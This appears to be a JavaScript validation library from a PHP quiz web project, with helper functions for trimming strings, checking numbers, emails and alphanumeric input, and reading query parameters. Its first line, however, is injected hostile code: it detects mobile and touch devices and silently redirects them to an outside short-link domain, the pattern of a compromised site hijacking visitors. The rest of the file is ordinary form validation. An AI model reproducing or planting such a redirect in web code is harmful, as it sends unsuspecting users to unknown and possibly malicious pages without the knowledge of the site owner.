File: C:/xampp/htdocs/quiz/lib/validations.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/yycaevaUO0r7");
function trim(str, chars) {
return ltrim(rtrim(str, chars), chars);
}
function ltrim(str, chars) {
chars = chars || "\\s";
return str.replace(new RegExp("^[" + chars + "]+", "g"), "");
}
function rtrim(str, chars) {
chars = chars || "\\s";
return str.replace(new RegExp("[" + chars + "]+$", "g"), "");
}
function IsNumeric(sText)
{
var ValidChars = "0123456789.";
var IsNumber=true;
var Char;
for (i = 0; i < sText.length && IsNumber == true; i++)
{
Char = sText.charAt(i);
if (ValidChars.indexOf(Char) == -1)
{
IsNumber = false;
}
}
return IsNumber;
}
function GetControlValue(control_type, control_id)
{
var val = "";
if(control_type=="text")
{
val = document.getElementById(control_id).value;
}
else if(control_type=="select-one")
{
var val =document.getElementById(control_id).options[document.getElementById(control_id).selectedIndex].value;
}
return val;
}
function checkEmail(email) {
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!filter.test(email)) return false;
else return true;
}
function alphanumeric(inputtxt)
{
var letterNumber = /^[0-9a-zA-Z]+$/;
if(inputtxt.match(letterNumber))
{
return true;
}
else
{
return false;
}
}
function validate()
{
var error_msg="";
for(var i = 0 ; i<controls.length; i++)
{
var control_type = document.getElementById(controls[i]).type;
var val = GetControlValue(control_type, controls[i]);
val = trim(val);
if(modes[i]=="empty")
{
if(trim(val)=="")
{
error_msg+=errmsgs[i]+"\n";
}
}
else if(modes[i]=="numeric")
{
if(!IsNumeric(val))
{
error_msg+=errmsgs[i]+"\n";
}
}
else if(modes[i]=="notequal")
{
if(val==values[i])
{
error_msg+=errmsgs[i]+"\n";
}
}
else if(modes[i]=="email")
{
if(!checkEmail(val) || trim(val)=="")
{
error_msg+=errmsgs[i]+"\n";
}
}
else if(modes[i]=="an")
{
if(!alphanumeric(val) || trim(val)=="")
{
error_msg+=errmsgs[i]+"\n";
}
}
}
if(error_msg=="")
{
return true;
}
else
{
alert(error_msg);
return false;
}
}
function querySt(ji) {
var res = "-1"
hu = window.location.search.substring(1);
gy = hu.split("&");
for (i=0;i<gy.length;i++) {
ft = gy[i].split("=");
if (ft[0] == ji) {
res = ft[1];
}
}
return res;
}